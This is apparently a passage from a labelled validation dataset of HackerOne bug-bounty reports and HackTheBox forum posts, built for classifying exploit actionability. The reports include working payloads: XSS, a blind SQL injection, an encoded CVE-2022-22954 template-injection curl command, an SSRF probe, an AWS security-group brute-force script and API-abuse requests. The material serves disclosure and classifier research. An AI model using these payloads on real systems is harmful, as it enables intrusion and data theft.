HTTP/2`\n1. Send the request and review the response. A new note will be created under the private snippet.\n\n#### Attacker editing a note they created previously\nNote: When the attacker creates the note in the previous steps, an id value is returned in the response. This can also be obtained by the victim by copying the link to the note and making a note of the id (ex. https://gitlab-pentest2.example.com/-/snippets/3#note_7)\n1. Have the attacker create a new note within the issue they created. We can then edit/delete this note and intercept the request in BurpSuite.\n1. To edit the note on the personal snippet:\nTak", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ae0e535da509ed5ffac0", "text": "[Resource Injection] AWS Load Balancer Controller Managed Security Groups can be replaced by an unprivileged attacker\n\nReport Submission Form\n\n## Summary:\nWhen creating an Ingress of class `alb`, by default, AWS Load Balancer Controller creates a managed SG and attaches it to the created ALB. This SG limits which ports of the ALB are accessible by whom.\n\nAn attacker is able to craft another SG that can be used to trick AWS Load Balancer Controller into changing the SG attached to an ALB. This is possible even though the attacker doesn't have permission to modify the ALB or the managed SG and also doesn't have access to the K8s cluster where the Ingress was created.\n\nAWS Load Balancer Controller uses tree tags to associate a SG on AWS to the supposed managed SG created for an ALB: `elbv2.k8s.aws/cluster`, `ingress.k8s.aws/stack`, and `ingress.k8s.aws/resource`. When there are multiple SGs that match the expected tag values, the controller attaches the first one returned by the AWS SDK to the ALB and deletes the other ones. The API call returns SGs sorted by their respective ids.\n\nIf a SG is created with the tags expected by AWS Load Balancer Controller and its id is less than the one from the legit SG, the controller deletes the original SG and attaches the one created by the attacker to the ALB. An attacker is now able to manipulate SG rules for the ALB as they please.  \n\n## Kubernetes Version:\nversion.Info{Major:\"1\", Minor:\"20+\", GitVersion:\"v1.20.4-eks-6b7464\", GitCommit:\"6b746440c04cb81db4426842b4ae65c3f7035e53\", GitTreeState:\"clean\", BuildDate:\"2021-03-19T19:33:03Z\", GoVersion:\"go1.15.8\", Compiler:\"gc\", Platform:\"linux/amd64\"}\n\n## Component Version:\nAWS Load Balancer Controller v2.2.0\n\n## Steps To Reproduce:\n\n1. A developer creates an application, deploys it to K8s, and exposes it using an Ingress with class `alb`.\n```bash\nkubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/aws-alb-ingress-controller/v1.1.9/docs/examples/echoservice/echoserver-namespace.yaml\nkubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/aws-alb-ingress-controller/v1.1.9/docs/examples/echoservice/echoserver-service.yaml\nkubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/aws-alb-ingress-controller/v1.1.9/docs/examples/echoservice/echoserver-deployment.yaml\nkubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/aws-alb-ingress-controller/v1.1.9/docs/examples/echoservice/echoserver-ingress.yaml\n```\n\n2. An attacker crafts an evil-twin of the managed SG attached to the target ALB. The attacker either knows the cluster name, namespace, and name of the Ingress related to the target ALB, or it needs to be able to describe the load balancer and its security group to acquire this information. If the id of the managed SG is unknown, the attacker may assume that its value is as low as `sg-00800000000000000` and create a SG that has an id even lower, covering more than 96% of the possible security groups with a couple of minutes of brute-forcing.\n```bash\nVPC_ID=vpc-00123456789abcdef\nCLUSTER_NAME=kind\nNAMESPACED_NAME=echoserver/echoserver\n\nMANAGED_SG_ID=sg-00123456789abcdef\nMANAGED_SG_10=$(echo ${MANAGED_SG_ID} | awk '{ print \"ibase=16;\" toupper(substr($0,4)) }' | bc)\n\nwhile true\ndo\n\tUNMANAGED_SG_ID=$(aws ec2 create-security-group --description unmanaged-sg --group-name unmanaged-sg --vpc-id ${VPC_ID} | jq -r .GroupId)\n\tUNMANAGED_SG_10=$(echo ${UNMANAGED_SG_ID} | awk '{ print \"ibase=16;\" toupper(substr($0,4)) }' | bc)\n\n\tif [ ${UNMANAGED_SG_10} -lt ${MANAGED_SG_10} ]\n\tthen\n\t\tbreak\n\tfi\n\n\taws ec2 delete-security-group --group-id ${UNMANAGED_SG_ID}\ndone\n\naws ec2 create-tags --resources ${UNMANAGED_SG_ID} --tags \"Key=elbv2.k8s.aws/cluster,Value=${CLUSTER_NAME}\" \"Key=ingress.k8s.aws/stack,Value=${NAMESPACED_NAME}\" \"Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup\"\n```\n\n3. With the environment set, the attacker now should wait or somehow cause AWS Load Balancer Controller to reconcile the target load balancer. The reconciliation is normally triggered when the Ingress resource is modified or when the ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e9c0710c74e9b0c3a8ac", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected  XSS on  https://wwwapps.ups.com/ctc/request?loc=\n\nSummary:\n=========\nDetalis XSS\n-----------\nCross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.\n\n## Steps To Reproduce:\n\n\n  1. Go to Those Links.\nhttps://wwwapps.ups.com/ctc/request?loc=a:%27%22/%3Ea%22%3E%3Caa%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3Een_AW&WT.svl=\n \n##FIX\nFilter input on arrival\nEncode data on output\nUse appropriate response headers\nContent Security Policy.\nThese all are standards concepts for fix the XSS vulnerabilities.\n\n## Impact\n\nscreenshot:\nF1686701\nPOC:\nF1686705", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cd70c883d1d50daf71de", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS on █████████\n\n**Description:**\nthe `WhatSubmitted` parameter not filtered, i can insert `\"` character and execute code JS\n\n## Impact\n\nPerform any action within the application that the user can perform.\nView any information that the user is able to view.\nModify any information that the user is able to modify.\nInitiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Open URL: [https://██████/SA1/SAReplay/default.asp?WhatSubmitted=Empty%22;-alert(%27tmz900%27)//&AgentID=0123&SARA=0&StartAt=07/06/22&StopAt=03/23/08](https://████████/SA1/SAReplay/default.asp?WhatSubmitted=Empty%22;-alert(%27tmz900%27)//&AgentID=0123&SARA=0&StartAt=07/06/22&StopAt=03/23/08)\n2. You will see an alert box pup up:\n\n██████████\n\n## Suggested Mitigation/Remediation Actions\nFilter input on arrival\nEncode data on output\nUse appropriate response headers\nContent Security Policy.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7801fbdbdfd41d9c017e", "text": "[Information Disclosure] Password reset tokens sent to CSP reporting endpoints\n\nDescription:\nIt has been identified that the application is leaking referrer token to third party sites. In this case it was found that the password reset token is being leaked to third party sites which is a issue knowing the fact that it can allow any malicious users to use the token and reset the passwords of the victim.\n\nSteps To Reproduce:-\n1) Request a password reset link for a valid account\n2) Click on the reset link\n3) Before resetting the password, go burp suite and search the Reset token\n4) Now, you see in the third party site leakage reset token.\n\nSimiller resource Bug :\nhttps://hackerone.com/reports/272379\nhttps://hackerone.com/reports/1177287\n\n## Impact\n\nPassword reset token leak on third party website.\n\nThanks", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2efc8c469861e581812e", "text": "When I am trying to dnsemum a server I keep getting query timed out. The script I am running is $ dnsenum --dnsserver 127.0.0.1 --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt ns.inlanefreight.htb I’m clearly doing something wrong but I cannot seem to figure it out can anyone please support? Simple step by step would be great as Iam Neurodiverse and reading between the lines isn’t a strength of mine haha", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "591cc469741f469c4a60", "text": "[Unknown] Python: CWE-338 insecureRandomness\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "07da3e3a336c0cf324e7", "text": "[Improper Access Control - Generic] Rider can forcefully get passenger's order accepted resulting in multiple impacts including PII reveal  and more mentioned in the report.\n\n## Summary:\nHello Indrive Security Team,\nThis is going to be chain of attacks with major flow being in /api/setTenderStatus request allowing the attacker to get their ride request accepted automatically.\n\n## Steps To Reproduce:\n\n1st major vulnerability:\n// Forcefully getting the passenger to accept the ride\n\n### Section 1\n\n1. Whenever a rider/driver offers the passenger their price there is a request that is sent to /api/driverrequest\n\n█████\n\n2. Now after getting the tenderID and OrderID from that request, the rider sends the request in /api/setTenderStatus in this format\n\n█████████\n\nHere the orderID and tenderID is from step 1.\n\n3. The ride gets accepted.\n\n\n\nThe impact for this is \"The rider can get details of any passenger, this includes phone number of passengers. Even when the passenger doesn't accept the riders offer.\"\nPlease keep in mind that this can be automated in real time to make this attack more efficien.\n\n2nd Chain vulnerability:\n// Chose a out of range price\n\n### Section 2\n\n1. This request is sent when the rider bids his price: \n\n██████████\n\n2. The rider can modify the price range to be of a much higher value than that.\n3. Resulting in sending a bid that is significantly more\n\n// Combining this with above vulnerability we can get passenger to forcefully accept the ride of the customer.\n\n\n\n==Provide the request in curl format, if possible==\n\nFor vuln A:\n\n```\ncurl https://terra-akamai.indriverapp.com/api/setTenderStatus?cid=5957&locale=en_US&phone=████&token=████████&v=7&stream_id=1682280490209367&tender_id=████████&order_id=█████████&status=accept\n```\n\nFor vuln B:\n\n```\ncurl https://terra-akamai.indriverapp.com/api/driverrequest?cid=5957&locale=en_US&job_id=338f72ff-f3c1-4da0-af15-5d1aa720146b&phone=██████████&token=████████&v=7&stream_id=1682279074257167&order_id=██████&client_id=█████████&shield_session_id=██████████&type=indriver&price=63&period=3&geo_arrival_time=1&distance=5&longitude=85.3249627&latitude=27.7390611&sn=1\n```\n\n\n\nThank you so much.\nLet me know if you need any further help in reproducing this issue.\n@spongebhav\n\n## Impact\n\n1. Revealing PII of customers even if customer didn't accept the rider's request.\n2. Making customer accept a bid that is significantly higher tricking the customer into giving more money.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6acf3c6750ac36901388", "text": "[SQL Injection] Blind SQL Injection\n\n###Bug is : Blind Sql injection \n\nSQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. \n\n-----------------------------------------------\n\n###Vulnerability in :\n https://███/ via ``` User-Agent: ```\nI've confirmed the vulnerability using sleep SQL queries with various arithmetic operations. The sleep command combined with the arithmetic operations will cause the server to sleep for various amounts of time depending on the result of the arithmetic operation.\n\n--------------------------\n\n###Proof of concept : \n1- open https://███/  and intercept data \n2- put this payload in user agent parameter ``` if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'\"XOR(if(now()=sysdate(),sleep(10),0))OR\"*/  ```  like poc 1\nand as you see in poc 1 make sleep order for 10 sec \n3- and if we change order to make sleep for 5 sec  ``` if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'\"XOR(if(now()=sysdate(),sleep(5),0))OR\"*/ ``` like poc 2\n\n\n-----------------------------\n\n###Fix :\nYour script should filter metacharacters from user input. \nCheck detailed information for more information about fixing this vulnerability\n\n## Impact\n\nAn attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "936a636dce074f7c54f1", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS in chatbot\n\nReflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim's browser. The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts\nProof of Concept\n1)Go to the website https://mtn.com.gh/\n2)click on the MTN chat and where it asks to enter a number enter an xss payload\n3)In my case I put the following payload:<button onClick=\"alert('xss')\">Submit</button>\n\n## Impact\n\nIf an attacker can control a script running in the victim's browser, they can usually completely compromise that user. Among other things, the attacker can: Perform any action in the application that the user can perform.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6e3cd453626eed716101", "text": "[Cross-site Scripting (XSS) - Stored] XSS with Visual Language Editor tags\n\n1. Create a post/comment/signature/etc. with the following text: `#VLE#nothing#[<script>ips.getAjax()(ips.getSetting('baseURL') + 'admin/index.php?app=core&module=system&controller=login&do=getCsrfKey').done(({key}) => ips.getAjax()(ips.getSetting('baseURL') + 'admin/index.php?app=core&module=settings&controller=general', {'bypassRedirect':true, 'method': 'POST', 'data': {'csrfKey': key, 'site_online_checkbox':1, 'board_name': 'You have been hacked', 'form_submitted': 1}}))</script>]#!##`.\n2. Using e.g. the browser's Inspect Element feature, you can surround the text in editor with `<span style='font-size: 0px;'>` and `</span>` to make it invisible for humans.\n3. Once the content is posted, visit the page with the content created in step 1. with **Quick Translating** enabled (ACP -> Customization -> Localization -> Languages -> Translations -> Quick Translating, otherwise known as Visual Language Editor or VLE) using an account with administrator privileges.\n\n**Note**: This is not very uncommon, as one could simply suggest an administrator to change wording of a language phrase, or correct a translation in an area where user-generated content (such as comments) is displayed.\n\n4. After visiting the webpage, website name will change to `You have been hacked` (the change can be seen in the browser tab title or in the website's header).\n\nThe origin of the vulnerability is **line 254** in `applications/core/dev/js/global/controllers/customization/ips.customization.visualLang.js`. jQuery's `replaceWith` function, which accepts raw HTML, is fed with `.text()` output, which returns unescaped (non-HTML-encoded) text.\n\n(Code from step 1 formatted for readability):\n```js\nips.getAjax()(ips.getSetting('baseURL') + 'admin/index.php?app=core&module=system&controller=login&do=getCsrfKey').done(({key}) => ips.getAjax()(\n    ips.getSetting('baseURL') + 'admin/index.php?app=core&module=settings&controller=general', {\n        'bypassRedirect':true,\n        'method': 'POST',\n        'data': {\n            'csrfKey': key,\n            'site_online_checkbox':1,\n            'board_name': 'You have been hacked',\n            'form_submitted': 1\n        }\n    }\n))\n\n## Impact\n\n**The attacker could gain full control of the website and its data, including the ability to execute raw PHP code**. This example shows only a relatively harmless and very simple usage of the vulnerability, but **it can be used to perform any other action on the administrator's behalf**. For instance, attacker could prepare a script to modify a theme template to execute any given PHP code.\n\nSurrounding the VLE code with legitimate text and `<span class=\"font-size: 0px;\">...</span>`makes it invisible for humans, and it could be hidden from built-in search as well by placing it in a signature, for example. The post/signature can then be removed. Without knowing exactly what to look for, the attack origin might never be found.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ad58fd318adbb3092135", "text": "[Code Injection] ███ vulnerable to CVE-2022-22954\n\nI found that one of the targets belongs to DOD vulnerable to CVE-2022-22954 where an attacker may be able to execute any malicious code like escalating Remote code execution is also possible \n\n**Technical Summary:**\n\nCVE-2022-22954 is a server-side template injection vulnerability in the VMware Workspace ONE Access and Identity Manager. This vulnerability was assigned a CVSSv3 score of 9.8. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation could result in remote code execution by exploiting a server-side template injection flaw.\n\n**Vulnerable URL:**\n\n███=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d\n\n## Impact\n\nThe impact of server-side template injection vulnerabilities is generally critical, resulting in remote code execution by taking full control of the back-end server. Even without the code execution, the attacker may be able to read sensitive data on the server\n\n## System Host(s)\n██████, ████\n\n## Affected Product(s) and Version(s)\nVMware workspace one\n\n## CVE Numbers\nCVE-2022-22954\n\n## Steps to Reproduce\n* Run the following curl command \n\n**Command Used:**\n\ncurl -sk -X GET -H \"Host: ██████\" \"█████████=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d\"\n\n**Response:**\n\n```\n<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/html\">\n    <head>\n        <title>Error Page</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/catalog-portal/css/errorpage.css\">\n    </head>\n\n    <body>\n        <div class=\"error-container\">\n            <div class=\"error-img-container\">\n                <img src=\"/catalog-portal/app/graphics/warning.svg\" class=\"warning-icon\">\n            </div>\n            <div class=\"error-text-heading\">Request Failed</div>\n            <div class=\"error-text-container\">\n                <p>Please contact your IT Administrator.</p>\n                <a href=\"/catalog-portal/ui/logout?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22cat%20/etc/passwd%22)%7D\">Sign Out</a>\n            </div>\n        </div>\n    </body>\n    <script>\n        if(console && console.log) {\n            console.log(\"auth.context.invalid\");\n            console.log(\"Authorization context is not valid. Login request  received with tenant code: uhhz-lbr-004v, device id: █████;\n        }\n    </script>\n</html>\n```\n\n* As you can see the above response, which contains the response of /etc/passwd in the response\n\n## Suggested Mitigation/Remediation Actions\nUpgrade the instances to the latest version", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-22954"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c31f27813692fb79e58f", "text": "[Violation of Secure Design Principles] Found Origin IP's Lead To Access ████\n\nDiscovered that the ██████ site exposed its Non-Cloudflare IP which could allow bypassing of anti-DDoS mechanisms.\nYour origin servers are not blocking access from non-Cloudflare servers.This way crawlers can find your origin servers' IPs by checking random IPs until they found your origin server(s).\nWhat makes this especially easy are tools like shodan.io(which can find your origin servers).\n\n## Impact\n\nThis attack vector can be extremely bad because with the IP found out an attacker could attack the servers by DDoS or other attacks without being stopped by CloudFlare.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nVisit these link:\nhttps://www.shodan.io/search?query=hostname%3A████+200\n\nIP:\n-███\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3f9d25b5535c8b55bfe4", "text": "[Unknown] [python]: Zip Slip Vulnerability\n\nThis bug was reported directly to GitHub Security Lab.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2522d212ddc1307d0922", "text": "[External Control of Critical State Data] match\n\n## Steps To Reproduce:\nlib/telnet.c suboption function incorrecly checks for the sscanf return value. Instead of checking that 2 elements are parsed, the code also continues if just one element matches:\nif(sscanf(v->data, \"%127[^,],%127s\", varname, varval)) {\nAs such it is possible to construct environment values that don't update the varval buffer and instead use the previous value. In combination of advancing in the temp buffer by strlen(v->data) + 1, this means that there will be uninitialized gaps in the generated output temp buffer. These gaps will contain whatever stack contents from previous operation of the application.\nFortunately the environment is controlled by the client and not the server. As such this vulnerability can't be exploited by the server. Practical exploitation is limited by the following requirements:\nattacker is able to control the environment passed to libcurl via CURLOPT_TELNETOPTIONS (\"NEW_ENV=xxx,yyy\") and control xxx and yyy in the curl_slist entries)\nattacker is able to either inspect the network traffic of the telnet connection or to select the server/port the connection is established to\nWhen both are true the attacker is able to some content of the stack. Note however that for this leak to be meaningful, some confidential or sensitive information would need to be leaked. This could happen if some key or other sensitive material (that is otherwise out of the reach of the attacker, due to for example setuid + dropping of privileges, or for example only being able to execute the command remotely in a limited fashion, for example php curl, or similar) would thus become visible fully, or partially. The leak is limited to maximum about half of the 2048 byte temp buffer.\nSteps To Reproduce:\nRun telnet service\ntcpdump -i lo -X -s 65535 port 23\nExecute\n\n## Impact\n\nlib/telnet.c suboption function incorrecly checks for the sscanf return value. Instead of checking that 2 elements are parsed, the code also continues if just one element matches:\nif(sscanf(v->data, \"%127[^,],%127s\", varname, varval)) {\nAs such it is possible to construct environment values that don't update the varval buffer and instead use the previous value. In combination of advancing in the temp buffer by strlen(v->data) + 1, this means that there will be uninitialized gaps in the generated output temp buffer. These gaps will contain whatever stack contents from previous operation of the application.\nFortunately the environment is controlled by the client and not the server. As such this vulnerability can't be exploited by the server. Practical exploitation is limited by the following requirements:\nattacker is able to control the environment passed to libcurl via CURLOPT_TELNETOPTIONS (\"NEW_ENV=xxx,yyy\") and control xxx and yyy in the curl_slist entries)\nattacker is able to either inspect the network traffic of the telnet connection or to select the server/port the connection is established to\nWhen both are true the attacker is able to some content of the stack. Note however that for this leak to be meaningful, some confidential or sensitive information would need to be leaked. This could happen if some key or other sensitive material (that is otherwise out of the reach of the attacker, due to for example setuid + dropping of privileges, or for example only being able to execute the command remotely in a limited fashion, for example php curl, or similar) would thus become visible fully, or partially. The leak is limited to maximum about half of the 2048 byte temp buffer.\nSteps To Reproduce:\nRun telnet service\ntcpdump -i lo -X -s 65535 port 23\nExecute", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "619abfb6e278224ee171", "text": "[Server-Side Request Forgery (SSRF)] blind Server-Side Request Forgery (SSRF)  allows scanning internal ports\n\nhello dear support \n\nI found a Blind SSRF issue that allows scanning internal ports. on https://fleet-status.app.elstc.co\n\nfrom this issue, you can check the server port \n\nHTTP request\n===========\nGET /api/v1/http/default/raw?regex=%22service.name%22:/s*%22(package-registry)%22&statusCodeMax=200&statusCodeMin=200&url=http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22 HTTP/1.1\nHost: fleet-status.app.elstc.co\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nCache-Control: max-age=0\nTe: trailers\nConnection: close\n\nif you add port 22 you will get  \n\n{\"type\":\"HTTP-RAW\",\"status\":\"WARNING\",\"label\":\"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22\",\"message\":\"timeout/host unreachable\"}\n\n\nnot open  \n\nif you add  port 80 \n\nresponse \n{\"type\":\"HTTP-RAW\",\"status\":\"FAILURE\",\"label\":\"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:80\",\"value\":{\"values\":[\"\\u003chtml\\u003e\\u003cbody\\u003eift3z4lojdng3fv7r68q5szjigz\\u003c/body\\u003e\\u003c/html\\u003e\"],\"unit\":\"RAW\"}}\n\nport 80 open\n\n## Impact\n\nSince this is a blind SSRF, it is not possible to read the response of HTTP requests. However this vulnerability can be used for reconnaissance.\nExample: Port Scan by measuring response time", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "25ec2db2ab862d27cea2", "text": "I’m also struggling with logging in via SSH. See the screenshot for my attempts and the last one is me pasting the password in to show that it’s the correct password. Screenshot 2023-06-26 141758 1020×803 74.1 KB The instructions for how to connect via SSH (at the bottom of the screenshot) looks to be missing the IP address so I might be using the wrong IP address. Has anyone also had this issue?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "371f29a60fa58201d98c", "text": "[Information Disclosure] Folder architecture and Filesizes of private file drop shares can be getten\n\n## Steps To Reproduce:\n\n1. Create a new Folder \"TestABC\"\n2. Share a password protected link of this folder\n3. Create a file \"README.md\" and a file \"README.md\" in the Subfolder \"Subfolder\".\n\n==> curl -H \"OCS-APIREQUEST: true\" \"http://localhost/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345\"\n\n==> curl -H \"OCS-APIREQUEST: true\" \"http://localhost/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345&folder=subfolder\"\n\n## Impact\n\nFolder architecture and Filesizes of private file drop shares can be getten", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "17d9e23e6ab36fbb9892", "text": "[Violation of Secure Design Principles] Text Injection/ Content Spoofing on  https://cloud.e.khanacademy.org  by breaking out of input tag.\n\nHello security team,\n\nTarget: https://cloud.e.khanacademy.org/\nPosition: https://cloud.e.khanacademy.org/districts-demo-form?utm_source=INJECTION_HERE&utm_medium=INJECTION_HERE\n\nIntroduction: Content spoofing, also referred to as content injection, \"arbitrary text injection\" or virtual defacement, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.\n\nIn order for the text to get injected, an attacker first need to break out of input tag because, the parameters with those values are reflected in the DOM inside input tags.So, an attacker can identify and simply break out of input tag by entering :( \"> ) at the beginning of the text .Here, then only the injected text is visible to the screen  and  here it comes with the risk of phishing.\n\n** Steps to Reproduce:\n1.Go to https://cloud.e.khanacademy.org/districts-demo-form?utm_source=INJECTION_HERE&utm_medium=INJECTION_HERE,\n2.Enter \"> to close out of input tag in place of INJECTION_HERE, either as value of parameter:utm_source or utm_medium,\n3. After the \"> characters, enter anything you want to show to the victim in order to phish,\n4.Observe below  the submit button , the text after \"> , is reflected in the page.\n\n## Impact\n\nThe attacker will play with the trust of victim and may fool him/her to enter credentials to attacker's site.This can't only be the case, there arises so many phishing  scenarios and it also affects the reputation of the organization.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8ca7c60968be0cb69898", "text": "[Cross-site Scripting (XSS) - Generic] Cross-site scripting via hardcoded front-end watched expression.\n\nHello, favorite security team. This is so far most interesting XSS i've found on your website. And also this is 10th bug i report you, so im gonna celebrate.\n\n**Summary:** Via hardcoded front-end code in algo debugger one is able to execute XSS on algorithm collaborator. One is able to use python to change the output of that hardcoded expression, which is unsanitized HTML, where cross-site scripting fires. Additionally, one can store the malicious code in algorithm and share it, so XSS will fire on anyone who will clone and run the algorithm. \n\n**Description:** \nThis is an interesting one. First, i noticed that when one validates the code **with debugger**, a certain web socket request is sent\n```json\n{\"e\":\"set_watch\",\"p\":[\"get_datetime().strftime(\\\"%Y-%m-%d %H:%M:%S\\\")#__QUANTOPIAN__\"]}\n```\nBy lurking deeper, I've determined that this request sets watched expression, the one that is in charge of current date and time in the debugger:\n{F569596}\nTo check the assumption that this place might contain unsanitized html, i've intercepted incoming web socket response with the result of aforementioned expression (datetime) and added an XSS payload to it, and it worked.\n\nThe fact that it is set as a user-defined watched expression got me thinking. We can remove it manually, and calendar will disappear. And we can set it again, and it will reappear, which was interesting. I've tried several different expressions with #__QUANTOPIAN at the end, but nothing appeared where calendar is supposed to be. I wrote to JD on Quantopian's slack, who was kind enough to tell me:\n>exact string (including ```get_datetime()```, not just the trailing ```__QUANTOPIAN__``` part) is used as a command from our frontend javascript code to request the current algorithm execution time between each other command that the user sends. However, that exact string is stored as a constant in our frontend code, so only the response that matches that exact value will be shown in the date area.\n\n...what basically means that any output that is generated by this exact expression goes directly into unsanitized HTML.\n\nSo we force this expression to output what we want by adding this class :)\n\n----------------\n```python\nclass get_datetime():\n    def __init__(self):\n        self.img = '<img src=x'+' 